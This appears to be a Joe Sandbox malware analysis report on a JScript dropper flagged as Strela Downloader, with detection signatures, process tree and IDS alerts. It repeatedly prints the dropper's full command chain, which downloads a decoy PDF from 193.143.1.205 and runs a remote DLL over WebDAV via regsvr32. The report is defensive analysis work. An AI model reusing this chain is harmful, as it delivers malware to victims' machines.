Edit tour

Windows Analysis Report
26999259552055117101.js

Overview

General Information

Sample name:	26999259552055117101.js
Analysis ID:	1588697
MD5:	4f3483c2ec305112d187021f22226760
SHA1:	c2296e272f0fd6c5cb9a60cb16f678fbcb62abd0
SHA256:	46f2030f028043d008bdc58a4a8c1eb46128485b8a5b1c36d86c3bc00a5bae01
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7764 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7860 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7912 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8112 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5832 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6464 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1744,i,2510451589917197200,12978037553807440395,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8136 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1824 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6096 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7764	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7860, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7912, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7860, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7912, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", ProcessId: 7764, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1824, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49738

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7860, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7860, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7860, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7860, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7860, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", ProcessId: 7764, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7860, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7912, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8136, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1824, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6096, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8136, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1824, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26999259552055117101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 7860, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:19:44.223381+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49722	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:19:46.622763+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49738	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:19:44.223381+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49722	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 26999259552055117101.js

Virustotal: Detection: 10%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 26999259552055117101.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 26999259552055117101.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49738 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49722 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:19:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 